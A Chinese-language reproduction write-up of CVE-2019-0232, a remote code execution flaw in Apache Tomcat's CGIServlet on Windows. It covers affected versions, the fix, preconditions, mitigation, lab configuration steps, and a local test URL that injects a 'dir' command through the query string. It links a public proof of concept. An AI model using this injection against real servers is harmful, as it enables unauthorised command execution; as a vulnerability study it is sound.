漏洞描述
enableCmdLineArguments变量默认为true。
影响版本:
* Tomcat 9 – versions 9.0.0.M1 through 9.0.17 (9.0.18 is not affected)
* Tomcat 8 – versions 8.5.0 to 8.5.39
* Tomcat 7 – versions 7.0.0 to 7.0.93
修复方案:升级到7.0.94, 8.5.40 and 9.0.19
漏洞点:JRE将命令行参数传递给Windows的方式。与C的API:execve不同,Windows下创建进程时传递的参数是
利用条件
- 运行在Windows
- 通过web.xml开启了CGI支持(默认是不开启的)
- 在conf\context.xml中添加privileged=“true”(默认是false)
缓解措施
如果不能升级,禁用掉CGI功能(其实本来就是禁用的,除非手动将其打开)
复现过程
1、在Windows下安装JRE
2、下载受影响版本的Tomcat
3、修改conf\context.xml
文件(19行):
<Context privileged="true">
4、修改conf\web.xml
,在365行左右
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
5、启用CGI servlet。将注释取消掉,然后修改成这样:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi/*</url-pattern>
</servlet-mapping>
6、给CGI文件创建目录:
mkdir webapps\ROOT\WEB-INF\cgi
7、将以下文件内容放在webapps\ROOT\WEB-INF\cgi\test.bat
@echo off
echo Content-Type: text/plain
echo.
echo Hello, This is from CGI test_by_cqq!
8、命令行启动Tomcat:
cd bin
catalina run
访问:
http://localhost:8083/cgi/test.bat?&dir
其中enableCmdLineArguments
只在Tomcat 9下需要(亲测Tomcat 8不需要)。
但是当执行系统命令的时候,发现并不能成功执行:
需要提供完整的路径名才能执行:
Tomcat有一个特别的Servlet叫做CGIServlet:https://github.com/apache/tomcat/blob/master/java/org/apache/catalina/servlets/CGIServlet.java
这个Servlet解析URL参数,然后将其转换成命令行参数。CGI脚本实际是通过 java.lang.Runtime的exec()方法来执行的。
PoC:https://github.com/pyn3rd/CVE-2019-0232
参考:https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/
https://seclists.org/fulldisclosure/2019/May/4